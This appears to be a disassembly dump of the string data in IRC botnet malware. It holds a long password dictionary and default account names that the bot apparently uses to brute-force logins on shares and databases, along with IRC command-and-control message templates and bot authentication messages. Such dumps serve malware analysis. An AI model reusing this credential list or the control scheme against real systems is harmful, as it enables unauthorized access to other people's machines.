aCharming db 'charming',0 ; DATA XREF: ___:0042FD94o
align 10h
aCharlie db 'charlie',0 ; DATA XREF: ___:0042FD90o
aCharles db 'charles',0 ; DATA XREF: ___:0042FD8Co
aCharity db 'charity',0 ; DATA XREF: ___:0042FD88o
aChange db 'change',0 ; DATA XREF: ___:0042FD84o
align 10h
aCerulean db 'cerulean',0 ; DATA XREF: ___:0042FD80o
align 4
aCeltics db 'celtics',0 ; DATA XREF: ___:0042FD7Co
aCeltic db 'celtic',0 ; DATA XREF: ___:0042FD78o
align 4
aCelt db 'celt',0 ; DATA XREF: ___:0042FD74o
align 4
aCecily db 'cecily',0 ; DATA XREF: ___:0042FD70o
align 4
aCayuga db 'cayuga',0 ; DATA XREF: ___:0042FD6Co
align 4
aCave db 'cave',0 ; DATA XREF: ___:0042FD68o
align 4
aCathy db 'cathy',0 ; DATA XREF: ___:0042FD64o
align 4
aCatholic db 'catholic',0 ; DATA XREF: ___:0042FD60o
align 10h
aCatherin db 'catherin',0 ; DATA XREF: ___:0042FD5Co
align 4
aCastle db 'castle',0 ; DATA XREF: ___:0042FD58o
align 4
aCash db 'cash',0 ; DATA XREF: ___:0042FD54o
align 4
aCascades db 'cascades',0 ; DATA XREF: ___:0042FD50o
align 4
aCarson db 'carson',0 ; DATA XREF: ___:0042FD4Co
align 10h
aCarrie db 'carrie',0 ; DATA XREF: ___:0042FD48o
align 4
aCaroline db 'caroline',0 ; DATA XREF: ___:0042FD44o
align 4
aCarolina db 'carolina',0 ; DATA XREF: ___:0042FD40o
align 10h
aCarole db 'carole',0 ; DATA XREF: ___:0042FD3Co
align 4
aCarol db 'carol',0 ; DATA XREF: ___:0042FD38o
align 10h
aCarmen db 'carmen',0 ; DATA XREF: ___:0042FD34o
align 4
aCarla db 'carla',0 ; DATA XREF: ___:0042FD30o
align 10h
aCaren db 'caren',0 ; DATA XREF: ___:0042FD2Co
align 4
aCardinal db 'cardinal',0 ; DATA XREF: ___:0042FD28o
align 4
aCard db 'card',0 ; DATA XREF: ___:0042FD24o
align 4
aCapture db 'capture',0 ; DATA XREF: ___:0042FD20o
aCaptain db 'captain',0 ; DATA XREF: ___:0042FD1Co
aCantor db 'cantor',0 ; DATA XREF: ___:0042FD18o
align 4
aCandy db 'candy',0 ; DATA XREF: ___:0042FD14o
align 4
aCandi db 'candi',0 ; DATA XREF: ___:0042FD10o
align 4
aCamping db 'camping',0 ; DATA XREF: ___:0042FD0Co
aCampanil db 'campanil',0 ; DATA XREF: ___:0042FD08o
align 4
aCamille db 'camille',0 ; DATA XREF: ___:0042FD04o
aCaliforn db 'californ',0 ; DATA XREF: ___:0042FD00o
align 4
aButthead db 'butthead',0 ; DATA XREF: ___:0042FCFCo
align 4
aButt db 'butt',0 ; DATA XREF: ___:0042FCF8o
align 10h
aButch db 'butch',0 ; DATA XREF: ___:0042FCF4o
align 4
aBurn db 'burn',0 ; DATA XREF: ___:0042FCF0o
align 10h
aBurgess db 'burgess',0 ; DATA XREF: ___:0042FCECo
aBung db 'bung',0 ; DATA XREF: ___:0042FCE8o
align 10h
aBumbling db 'bumbling',0 ; DATA XREF: ___:0042FCE4o
align 4
aBullshit db 'bullshit',0 ; DATA XREF: ___:0042FCE0o
align 4
aBulls db 'bulls',0 ; DATA XREF: ___:0042FCDCo
align 10h
aBrutefor db 'brutefor',0 ; DATA XREF: ___:0042FCD8o
align 4
aBrute db 'brute',0 ; DATA XREF: ___:0042FCD4o
align 4
aBrunette db 'brunette',0 ; DATA XREF: ___:0042FCD0o
align 10h
aBrothel db 'brothel',0 ; DATA XREF: ___:0042FCCCo
aBroadway db 'broadway',0 ; DATA XREF: ___:0042FCC8o
align 4
aBridget db 'bridget',0 ; DATA XREF: ___:0042FCC4o
aBrian db 'brian',0 ; DATA XREF: ___:0042FCC0o
align 4
aBrenda db 'brenda',0 ; DATA XREF: ___:0042FCBCo
align 4
aBreast db 'breast',0 ; DATA XREF: ___:0042FCB8o
align 4
aBreak db 'break',0 ; DATA XREF: ___:0042FCB4o
align 4
aBravo db 'bravo',0 ; DATA XREF: ___:0042FCB0o
align 4
aBrandy db 'brandy',0 ; DATA XREF: ___:0042FCACo
align 4
aBrandi db 'brandi',0 ; DATA XREF: ___:0042FCA8o
align 4
aBradley db 'bradley',0 ; DATA XREF: ___:0042FCA4o
aBoyscout db 'boyscout',0 ; DATA XREF: ___:0042FCA0o
align 4
aBorn db 'born',0 ; DATA XREF: ___:0042FC9Co
align 10h
aBook db 'book',0 ; DATA XREF: ___:0042FC98o
align 4
aBoobs db 'boobs',0 ; DATA XREF: ___:0042FC94o
align 10h
aBoob db 'boob',0 ; DATA XREF: ___:0042FC90o
align 4
aBoner db 'boner',0 ; DATA XREF: ___:0042FC8Co
align 10h
aBomb db 'bomb',0 ; DATA XREF: ___:0042FC88o
align 4
aBoard db 'board',0 ; DATA XREF: ___:0042FC84o
align 10h
aBlues db 'blues',0 ; DATA XREF: ___:0042FC80o
align 4
aBlue db 'blue',0 ; DATA XREF: ___:0042FC7Co
align 10h
aBlowjob db 'blowjob',0 ; DATA XREF: ___:0042FC78o
aBlow db 'blow',0 ; DATA XREF: ___:0042FC74o
align 10h
aBloodaxe db 'bloodaxe',0 ; DATA XREF: ___:0042FC70o
align 4
aBlood db 'blood',0 ; DATA XREF: ___:0042FC6Co
align 4
aBlondie db 'blondie',0 ; DATA XREF: ___:0042FC68o
aBlonde db 'blonde',0 ; DATA XREF: ___:0042FC64o
align 4
aBlack db 'black',0 ; DATA XREF: ___:0042FC60o
align 4
aBitnet db 'bitnet',0 ; DATA XREF: ___:0042FC5Co
align 4
aBitmap db 'bitmap',0 ; DATA XREF: ___:0042FC58o
align 4
aBitch db 'bitch',0 ; DATA XREF: ___:0042FC54o
align 4
aBishop db 'bishop',0 ; DATA XREF: ___:0042FC50o
align 4
aBird db 'bird',0 ; DATA XREF: ___:0042FC4Co
align 4
aBios db 'bios',0 ; DATA XREF: ___:0042FC48o
align 4
aBinary db 'binary',0 ; DATA XREF: ___:0042FC44o
align 4
aBill db 'bill',0 ; DATA XREF: ___:0042FC40o
align 4
aBigfoot db 'bigfoot',0 ; DATA XREF: ___:0042FC3Co
aBicamera db 'bicamera',0 ; DATA XREF: ___:0042FC38o
align 10h
aBible db 'bible',0 ; DATA XREF: ___:0042FC34o
align 4
aBeverly db 'beverly',0 ; DATA XREF: ___:0042FC30o
aBetty db 'betty',0 ; DATA XREF: ___:0042FC2Co
align 4
aBetsie db 'betsie',0 ; DATA XREF: ___:0042FC28o
align 10h
aBeth db 'beth',0 ; DATA XREF: ___:0042FC24o
align 4
aBeta db 'beta',0 ; DATA XREF: ___:0042FC20o
align 10h
aBeryl db 'beryl',0 ; DATA XREF: ___:0042FC1Co
align 4
aBerliner db 'berliner',0 ; DATA XREF: ___:0042FC18o
align 4
aBerlin db 'berlin',0 ; DATA XREF: ___:0042FC14o
align 4
aBerkeley db 'berkeley',0 ; DATA XREF: ___:0042FC10o
align 4
aBeowulf db 'beowulf',0 ; DATA XREF: ___:0042FC0Co
aBenz db 'benz',0 ; DATA XREF: ___:0042FC08o
align 4
aBeloved db 'beloved',0 ; DATA XREF: ___:0042FC04o
aBell db 'bell',0 ; DATA XREF: ___:0042FC00o
align 4
aBehead db 'behead',0 ; DATA XREF: ___:0042FBFCo
align 10h
aBegin db 'begin',0 ; DATA XREF: ___:0042FBF8o
align 4
aBeethove db 'beethove',0 ; DATA XREF: ___:0042FBF4o
align 4
aBecky db 'becky',0 ; DATA XREF: ___:0042FBF0o
align 4
aBeaver db 'beaver',0 ; DATA XREF: ___:0042FBECo
align 4
aBeauty db 'beauty',0 ; DATA XREF: ___:0042FBE8o
align 4
aBeater db 'beater',0 ; DATA XREF: ___:0042FBE4o
align 4
aBeast db 'beast',0 ; DATA XREF: ___:0042FBE0o
align 4
aBear db 'bear',0 ; DATA XREF: ___:0042FBDCo
align 4
aBeammeup db 'beammeup',0 ; DATA XREF: ___:0042FBD8o
align 10h
aBeach db 'beach',0 ; DATA XREF: ___:0042FBD4o
align 4
aBatman db 'batman',0 ; DATA XREF: ___:0042FBD0o
align 10h
aBatch db 'batch',0 ; DATA XREF: ___:0042FBCCo
align 4
aBassoon db 'bassoon',0 ; DATA XREF: ___:0042FBC8o
aBass db 'bass',0 ; DATA XREF: ___:0042FBC4o
align 4
aBasic db 'basic',0 ; DATA XREF: ___:0042FBC0o
align 10h
aBaseball db 'baseball',0 ; DATA XREF: ___:0042FBBCo
align 4
aBartman db 'bartman',0 ; DATA XREF: ___:0042FBB8o
aBart db 'bart',0 ; DATA XREF: ___:0042FBB4o
align 4
aBaritone db 'baritone',0 ; DATA XREF: ___:0042FBB0o
align 4
aBarf db 'barf',0 ; DATA XREF: ___:0042FBACo
align 10h
aBare db 'bare',0 ; DATA XREF: ___:0042FBA8o
align 4
aBarber db 'barber',0 ; DATA XREF: ___:0042FBA4o
align 10h
aBarbara db 'barbara',0 ; DATA XREF: ___:0042FBA0o
aBanks db 'banks',0 ; DATA XREF: ___:0042FB9Co
align 10h
aBank db 'bank',0 ; DATA XREF: ___:0042FB98o
align 4
aBandit db 'bandit',0 ; DATA XREF: ___:0042FB94o
align 10h
aBananas db 'bananas',0 ; DATA XREF: ___:0042FB90o
aBanana db 'banana',0 ; DATA XREF: ___:0042FB8Co
align 10h
aBall db 'ball',0 ; DATA XREF: ___:0042FB88o
align 4
aBailey db 'bailey',0 ; DATA XREF: ___:0042FB84o
align 10h
aBadass db 'badass',0 ; DATA XREF: ___:0042FB80o
align 4
aBackdoor db 'backdoor',0 ; DATA XREF: ___:0042FB7Co
align 4
aBacchus db 'bacchus',0 ; DATA XREF: ___:0042FB78o
aBaby db 'baby',0 ; DATA XREF: ___:0042FB74o
align 4
aBabe db 'babe',0 ; DATA XREF: ___:0042FB70o
align 4
aAzure db 'azure',0 ; DATA XREF: ___:0042FB6Co
align 4
aAztecs db 'aztecs',0 ; DATA XREF: ___:0042FB68o
align 4
aAuthoriz db 'authoriz',0 ; DATA XREF: ___:0042FB64o
align 4
aAttack db 'attack',0 ; DATA XREF: ___:0042FB60o
align 10h
aAtom db 'atom',0 ; DATA XREF: ___:0042FB5Co
align 4
aAtmosphe db 'atmosphe',0 ; DATA XREF: ___:0042FB58o
align 4
aAthena db 'athena',0 ; DATA XREF: ___:0042FB54o
align 4
aAsshole db 'asshole',0 ; DATA XREF: ___:0042FB50o
aAsian db 'asian',0 ; DATA XREF: ___:0042FB4Co
align 4
aArtist db 'artist',0 ; DATA XREF: ___:0042FB48o
align 4
aArthur db 'arthur',0 ; DATA XREF: ___:0042FB44o
align 4
aArrow db 'arrow',0 ; DATA XREF: ___:0042FB40o
align 4
aArmy db 'army',0 ; DATA XREF: ___:0042FB3Co
align 4
aArlene db 'arlene',0 ; DATA XREF: ___:0042FB38o
align 4
aAriadne db 'ariadne',0 ; DATA XREF: ___:0042FB34o
aAria db 'aria',0 ; DATA XREF: ___:0042FB30o
align 4
aApril db 'april',0 ; DATA XREF: ___:0042FB2Co
align 4
aApollo13 db 'apollo13',0 ; DATA XREF: ___:0042FB28o
align 4
aAnything db 'anything',0 ; DATA XREF: ___:0042FB24o
align 4
aAnvils db 'anvils',0 ; DATA XREF: ___:0042FB20o
align 4
aAnthropo db 'anthropo',0 ; DATA XREF: ___:0042FB1Co
align 4
aAnthrax db 'anthrax',0 ; DATA XREF: ___:0042FB18o
aAnswer db 'answer',0 ; DATA XREF: ___:0042FB14o
align 4
aAnonymou db 'anonymou',0 ; DATA XREF: ___:0042FB10o
align 4
aAnon db 'anon',0 ; DATA XREF: ___:0042FB0Co
align 4
aAnnette db 'annette',0 ; DATA XREF: ___:0042FB08o
aAnne db 'anne',0 ; DATA XREF: ___:0042FB04o
align 4
aAnna db 'anna',0 ; DATA XREF: ___:0042FB00o
align 4
aAnita db 'anita',0 ; DATA XREF: ___:0042FAFCo
align 4
aAnimals db 'animals',0 ; DATA XREF: ___:0042FAF8o
aAnimal db 'animal',0 ; DATA XREF: ___:0042FAF4o
align 4
aAngie db 'angie',0 ; DATA XREF: ___:0042FAF0o
align 4
aAngerine db 'angerine',0 ; DATA XREF: ___:0042FAECo
align 10h
aAngela db 'angela',0 ; DATA XREF: ___:0042FAE8o
align 4
aAnfo db 'anfo',0 ; DATA XREF: ___:0042FAE4o
align 10h
aAndy db 'andy',0 ; DATA XREF: ___:0042FAE0o
align 4
aAndromac db 'andromac',0 ; DATA XREF: ___:0042FADCo
align 4
aAndroid db 'android',0 ; DATA XREF: ___:0042FAD8o
aAndrea db 'andrea',0 ; DATA XREF: ___:0042FAD4o
align 4
aAnchor db 'anchor',0 ; DATA XREF: ___:0042FAD0o
align 4
aAnarchy db 'anarchy',0 ; DATA XREF: ___:0042FACCo
aAnarchis db 'anarchis',0 ; DATA XREF: ___:0042FAC8o
align 10h
aAnalog db 'analog',0 ; DATA XREF: ___:0042FAC4o
align 4
aAnal db 'anal',0 ; DATA XREF: ___:0042FAC0o
align 10h
aAmorphou db 'amorphou',0 ; DATA XREF: ___:0042FABCo
align 4
aAmerica db 'america',0 ; DATA XREF: ___:0042FAB8o
aAmber db 'amber',0 ; DATA XREF: ___:0042FAB4o
align 4
aAmanda db 'amanda',0 ; DATA XREF: ___:0042FAB0o
align 4
aAmadeus db 'amadeus',0 ; DATA XREF: ___:0042FAACo
aAlphabet db 'alphabet',0 ; DATA XREF: ___:0042FAA8o
align 4
aAllow db 'allow',0 ; DATA XREF: ___:0042FAA4o
align 10h
aAllison db 'allison',0 ; DATA XREF: ___:0042FAA0o
aAlison db 'alison',0 ; DATA XREF: ___:0042FA9Co
align 10h
aAlisa db 'alisa',0 ; DATA XREF: ___:0042FA98o
align 4
aAlicia db 'alicia',0 ; DATA XREF: ___:0042FA94o
align 10h
aAlice db 'alice',0 ; DATA XREF: ___:0042FA90o
align 4
aAliases db 'aliases',0 ; DATA XREF: ___:0042FA8Co
aAlias db 'alias',0 ; DATA XREF: ___:0042FA88o
align 4
aAlgebra db 'algebra',0 ; DATA XREF: ___:0042FA84o
aAlexande db 'alexande',0 ; DATA XREF: ___:0042FA80o
align 4
aAlex db 'alex',0 ; DATA XREF: ___:0042FA7Co
align 4
aAlert db 'alert',0 ; DATA XREF: ___:0042FA78o
align 4
aAlbert db 'albert',0 ; DATA XREF: ___:0042FA74o
align 4
aAlbatros db 'albatros',0 ; DATA XREF: ___:0042FA70o
align 10h
aAlbany db 'albany',0 ; DATA XREF: ___:0042FA6Co
align 4
aAlaska db 'alaska',0 ; DATA XREF: ___:0042FA68o
align 10h
aAirplane db 'airplane',0 ; DATA XREF: ___:0042FA64o
align 4
aAids db 'aids',0 ; DATA XREF: ___:0042FA60o
align 4
aAerobics db 'aerobics',0 ; DATA XREF: ___:0042FA5Co
align 10h
aAdult db 'adult',0 ; DATA XREF: ___:0042FA58o
align 4
aAdrianna db 'adrianna',0 ; DATA XREF: ___:0042FA54o
align 4
aAdrian db 'adrian',0 ; DATA XREF: ___:0042FA50o
align 4
aAdam db 'adam',0 ; DATA XREF: ___:0042FA4Co
align 4
aAction db 'action',0 ; DATA XREF: ___:0042FA48o
align 4
aAccount db 'account',0 ; DATA XREF: ___:0042FA44o
aAcademic db 'academic',0 ; DATA XREF: ___:0042FA3Co
align 10h
aAcademia db 'academia',0 ; DATA XREF: ___:0042FA38o
align 4
a000000 db '000000',0 ; DATA XREF: ___:0042FA34o
align 4
a00000 db '00000',0 ; DATA XREF: ___:0042FA30o
align 4
a0000 db '0000',0 ; DATA XREF: ___:0042FA2Co
align 4
a000 db '000',0 ; DATA XREF: ___:0042FA28o
aTesting db 'testing',0 ; DATA XREF: ___:0042FA24o
aDeath db 'death',0 ; DATA XREF: ___:0042FA20o
align 4
a00 db '00',0 ; DATA XREF: ___:0042FA1Co
align 4
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: ___:0042FA14o
align 4
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: ___:0042FA10o
align 4
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: ___:0042FA0Co
aXxxxxx db 'xxxxxx',0 ; DATA XREF: ___:0042FA08o
align 4
aXxxxx db 'xxxxx',0 ; DATA XREF: ___:0042FA04o
align 4
aXxxx db 'xxxx',0 ; DATA XREF: ___:0042FA00o
align 4
aXxx db 'xxx',0 ; DATA XREF: ___:0042F9FCo
aXx db 'xx',0 ; DATA XREF: ___:0042F9F8o
align 4
asc_434C2C: ; DATA XREF: ___:0042F9F4o
unicode 0, <x>,0
aGuessme db 'guessme',0 ; DATA XREF: ___:0042F9F0o
aYouwontguessme db 'youwontguessme',0 ; DATA XREF: ___:0042F9ECo
align 4
aUwontguessme db 'uwontguessme',0 ; DATA XREF: ___:0042F9E8o
align 4
aMirc_0 db 'mirc',0 ; DATA XREF: ___:0042F9E4o
align 10h
aKiddie db 'kiddie',0 ; DATA XREF: ___:0042F9E0o
align 4
aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: ___:0042F9DCo
align 4
aScript db 'script',0 ; DATA XREF: ___:0042F9D8o
align 10h
aHax0r db 'hax0r',0 ; DATA XREF: ___:0042F9D4o
align 4
aHacker db 'hacker',0 ; DATA XREF: ___:0042F9D0o
align 10h
aL337 db 'l337',0 ; DATA XREF: ___:0042F9CCo
align 4
aL33t db 'l33t',0 ; DATA XREF: ___:0042F9C8o
align 10h
aLeet db 'leet',0 ; DATA XREF: ___:0042F9C4o
align 4
aKiller db 'killer',0 ; DATA XREF: ___:0042F9C0o
align 10h
a0wn3d db '0wn3d',0 ; DATA XREF: ___:0042F9BCo
align 4
aW00t db 'w00t',0 ; DATA XREF: ___:0042F9B8o
align 10h
aHeaven db 'heaven',0 ; DATA XREF: ___:0042F9B4o
align 4
aSpaceman db 'spaceman',0 ; DATA XREF: ___:0042F9B0o
align 4
aSatanic db 'satanic',0 ; DATA XREF: ___:0042F9ACo
aSatanik db 'satanik',0 ; DATA XREF: ___:0042F9A8o
aSatan db 'satan',0 ; DATA XREF: ___:0042F9A4o
align 4
aGobo db 'gobo',0 ; DATA XREF: ___:0042F9A0o
align 4
aMatthew db 'Matthew',0 ; DATA XREF: ___:0042F99Co
aMatt db 'Matt',0 ; DATA XREF: ___:0042F998o
align 4
aMat db 'Mat',0 ; DATA XREF: ___:0042F994o
aPw db 'pw',0 ; DATA XREF: ___:0042F990o
align 4
aMypass123 db 'mypass123',0 ; DATA XREF: ___:0042F98Co
align 4
aMypass db 'mypass',0 ; DATA XREF: ___:0042F988o
align 10h
aPw123 db 'pw123',0 ; DATA XREF: ___:0042F984o
align 4
aAdmin123 db 'admin123',0 ; DATA XREF: ___:0042F980o
align 4
aMypc123 db 'mypc123',0 ; DATA XREF: ___:0042F97Co
aMypc db 'mypc',0 ; DATA XREF: ___:0042F978o
align 4
aLove db 'love',0 ; DATA XREF: ___:0042F974o
align 4
aPwd db 'pwd',0 ; DATA XREF: ___:0042F970o
aLogin db 'login',0 ; DATA XREF: ___:0042F96Co
align 4
aHome db 'home',0 ; DATA XREF: ___:0042F968o
align 10h
aZxcv db 'zxcv',0 ; DATA XREF: ___:0042F964o
align 4
aYxcv db 'yxcv',0 ; DATA XREF: ___:0042F960o
align 10h
aQwer db 'qwer',0 ; DATA XREF: ___:0042F95Co
align 4
aSecret db 'secret',0 ; DATA XREF: ___:0042F958o
align 10h
aAsdf db 'asdf',0 ; DATA XREF: ___:0042F954o
align 4
aPc db 'pc',0 ; DATA XREF: ___:0042F950o
align 4
aWin db 'win',0 ; DATA XREF: ___:0042F94Co
aTest123 db 'test123',0 ; DATA XREF: ___:0042F948o
aAbc db 'abc',0 ; DATA XREF: ___:0042F944o
aAaa db 'aaa',0 ; DATA XREF: ___:0042F940o
aA_1: ; DATA XREF: ___:0042F93Co
unicode 0, <a>,0
aCrash db 'crash',0 ; DATA XREF: ___:0042F938o
align 4
aFucked db 'fucked',0 ; DATA XREF: ___:0042F934o
align 4
aNetfuck db 'netfuck',0 ; DATA XREF: ___:0042F930o
aIrule db 'irule',0 ; DATA XREF: ___:0042F92Co
align 4
aOwned db 'owned',0 ; DATA XREF: ___:0042F928o
align 4
a0wned db '0wned',0 ; DATA XREF: ___:0042F924o
align 4
aNetDevil db 'net-devil',0 ; DATA XREF: ___:0042F920o
align 10h
aNetdevil db 'netdevil',0 ; DATA XREF: ___:0042F91Co
align 4
aDevil db 'devil',0 ; DATA XREF: ___:0042F918o
align 4
aNilez db 'Nilez',0 ; DATA XREF: ___:0042F914o
align 4
aFoobar db 'foobar',0 ; DATA XREF: ___:0042F910o
align 4
aGod db 'god',0 ; DATA XREF: ___:0042F90Co
aSex db 'sex',0 ; DATA XREF: ___:0042F908o
aPat db 'pat',0 ; DATA XREF: ___:0042F904o
aPatrick db 'patrick',0 ; DATA XREF: ___:0042F900o
aAlpha db 'alpha',0 ; DATA XREF: ___:0042F8FCo
align 10h
a007 db '007',0 ; DATA XREF: ___:0042F8F8o
a123abc db '123abc',0 ; DATA XREF: ___:0042F8F4o
align 4
a1234qwer db '1234qwer',0 ; DATA XREF: ___:0042F8F0o
align 4
a123123 db '123123',0 ; DATA XREF: ___:0042F8ECo
align 10h
a121212 db '121212',0 ; DATA XREF: ___:0042F8E8o
align 4
a111111 db '111111',0 ; DATA XREF: ___:0042F8E4o
align 10h
a110 db '110',0 ; DATA XREF: ___:0042F8E0o
a2600 db '2600',0 ; DATA XREF: ___:0042F8DCo
align 4
a2002 db '2002',0 ; DATA XREF: ___:0042F8D4o
align 4
aXp_0 db 'xp',0 ; DATA XREF: ___:0042F8D0o
align 4
aEnable db 'enable',0 ; DATA XREF: ___:0042F8CCo
align 10h
aGodblessyou db 'godblessyou',0 ; DATA XREF: ___:0042F8C8o
aIhavenopass db 'ihavenopass',0 ; DATA XREF: ___:0042F8C4o
a123asd db '123asd',0 ; DATA XREF: ___:0042F8C0o
align 10h
aSuper db 'super',0 ; DATA XREF: ___:0042F8BCo
align 4
aInternet db 'Internet',0 ; DATA XREF: ___:0042F8B8o
align 4
a123qwe db '123qwe',0 ; DATA XREF: ___:0042F8B0o
align 4
aSybase db 'sybase',0 ; DATA XREF: ___:0042F8ACo
align 4
aAbc123 db 'abc123',0 ; DATA XREF: ___:0042F8A4o
align 4
aAbcd db 'abcd',0 ; DATA XREF: ___:0042F8A0o
align 4
aPasswd db 'passwd',0 ; DATA XREF: ___:0042F898o
align 4
aPass_0 db 'pass',0 ; DATA XREF: ___:0042F894o
align 4
a88888888 db '88888888',0 ; DATA XREF: ___:0042F890o
align 10h
a11111111 db '11111111',0 ; DATA XREF: ___:0042F88Co
align 4
a111 db '111',0 ; DATA XREF: ___:0042F888o
a54321 db '54321',0 ; DATA XREF: ___:0042F884o
align 4
a654321 db '654321',0 ; DATA XREF: ___:0042F880o
align 10h
a123456789 db '123456789',0 ; DATA XREF: ___:0042F87Co
align 4
a12345678 db '12345678',0 ; DATA XREF: ___:0042F878o
align 4
a1234567 db '1234567',0 ; DATA XREF: ___:0042F874o
a123456 db '123456',0 ; DATA XREF: ___:0042F870o
align 4
a12345 db '12345',0 ; DATA XREF: ___:0042F86Co
align 10h
a1234 db '1234',0 ; DATA XREF: ___:0042F868o
align 4
a123 db '123',0 ; DATA XREF: ___:0042F864o
a12 db '12',0 ; DATA XREF: ___:0042F860o
align 10h
a1: ; DATA XREF: ___:0042F85Co
unicode 0, <1>,0
aTemp123 db 'temp123',0 ; DATA XREF: ___:0042F858o
aChangeme_0 db 'Changeme',0 ; DATA XREF: ___:0042F854o
align 4
aChangeme db 'changeme',0 ; DATA XREF: ___:0042F850o
align 4
aLinux db 'linux',0 ; DATA XREF: ___:0042F84Co
align 4
aUnix db 'unix',0 ; DATA XREF: ___:0042F848o
align 4
aLocal db 'LOCAL',0 ; DATA XREF: ___:0042F844o
align 4
aPepsi db 'pepsi',0 ; DATA XREF: ___:0042F840o
align 4
aServer_0 db 'SERVER',0 ; DATA XREF: ___:0042F83Co
align 4
aSystem db 'SYSTEM',0 ; DATA XREF: ___:0042F838o
align 4
aBackup db 'BACKUP',0 ; DATA XREF: ___:0042F834o
align 4
aAccess db 'ACCESS',0 ; DATA XREF: ___:0042F82Co
align 4
aTest db 'TEST',0 ; DATA XREF: ___:0042F828o
align 4
aEdu db 'edu',0 ; DATA XREF: ___:0042F824o
aOwner_1 db 'Owner',0 ; DATA XREF: ___:0042F820o
align 4
aOwner_0 db 'OWNER',0 ; DATA XREF: ___:0042F81Co
align 10h
aDemo db 'DEMO',0 ; DATA XREF: ___:0042F818o
align 4
aFiles db 'FILES',0 ; DATA XREF: ___:0042F814o
align 10h
aRead db 'READ',0 ; DATA XREF: ___:0042F810o
align 4
aBoth db 'BOTH',0 ; DATA XREF: ___:0042F80Co
align 10h
aLadeda db 'ladeda',0 ; DATA XREF: ___:0042F808o
align 4
aFull_0 db 'FULL',0 ; DATA XREF: ___:0042F804o
align 10h
aWrite db 'WRITE',0 ; DATA XREF: ___:0042F800o
align 4
aShare_0 db 'SHARE',0 ; DATA XREF: ___:0042F7FCo
align 10h
aTemp db 'TEMP',0 ; DATA XREF: ___:0042F7F8o
align 4
aPassword db 'PASSWORD',0 ; DATA XREF: ___:0042F7F4o
align 4
aAdmin_0 db 'ADMIN',0 ; DATA XREF: ___:0042F7F0o
align 4
aRoot_0 db 'ROOT',0 ; DATA XREF: ___:0042F7E8o
align 4
aGuest_1 db 'GUEST',0 ; DATA XREF: ___:0042F7E4o
align 4
aBla db 'bla',0 ; DATA XREF: ___:0042F7E0o
aFubar db 'fubar',0 ; DATA XREF: ___:0042F7DCo
align 4
aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: ___:0042F7D0o
align 4
aDb2 db 'db2',0 ; DATA XREF: ___:0042F7C0o
aOracle db 'oracle',0 ; DATA XREF: ___:0042F7BCo
; ___:0042F8A8o
align 4
aDba db 'dba',0 ; DATA XREF: ___:0042F7B8o
aDatabase db 'database',0 ; DATA XREF: ___:0042F7B4o
; ___:0042F89Co
align 4
aDefault db 'default',0 ; DATA XREF: ___:0042F7B0o
; ___:0042FF3Co
aGuest_0 db 'guest',0 ; DATA XREF: ___:0042F7ACo
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: ___:0042F7A8o
align 10h
aTeacher db 'teacher',0 ; DATA XREF: ___:0042F7A4o
; ___:00430ED0o
aStudent db 'student',0 ; DATA XREF: ___:0042F7A0o
; ___:00430E18o
aOwner db 'owner',0 ; DATA XREF: ___:0042F79Co
align 4
aComputer db 'computer',0 ; DATA XREF: ___:0042F798o
; ___:0042F8B4o
align 4
aRoot db 'root',0 ; DATA XREF: ___:0042F794o
; ___:0042F7ECo
align 4
aStaff db 'staff',0 ; DATA XREF: ___:0042F790o
align 4
aAdmin db 'admin',0 ; DATA XREF: ___:0042F78Co
align 4
aAdmins db 'admins',0 ; DATA XREF: ___:0042F788o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: ___:0042F784o
aAdministrateur db 'administrateur',0 ; DATA XREF: ___:0042F780o
align 10h
aAdministrador db 'administrador',0 ; DATA XREF: ___:0042F77Co
align 10h
aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042F778o
; ___:0042F7D8o
align 10h
aH4ckerTool db 'h4cker tool',0 ; DATA XREF: ___:off_42F6C8o
a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42F6C4o
dword_435118 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: ___:0040E9FBo
dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h
dword_435140 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o
dword_43514C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EB92+F2o
dd 2BBBB02h
aConnectedToS_ db ' Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40ECFA+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40ECFA+35o
align 10h
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co
align 10h
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o
align 10h
dword_4351C0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+6257o
dd 2BBBB02h
aUserSLoggedIn_ db ' User: %s logged in.',0
align 10h
dword_4351F0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+623Ao
dd 2BBBB02h
aAbosal7Accepte db ' ABOSAL7 accepted.',0
dword_43521C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+61D9o
dd 2BBBB02h, 462A2020h, 656C6961h, 6F682064h, 61207473h
dd 20687475h
db 62h
byte_435249 db 79h, 3Ah, 20h ; DATA XREF: ___:off_4274DCo
dd 21732528h, 2E297325h, 0
dword_435258 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40EE72+6172o
dd 2BBBB02h
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
; DATA XREF: sub_40EE72+6160o
; sub_40EE72+61C7o
align 4
aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40EE72+6149o
; sub_40EE72+61B0o
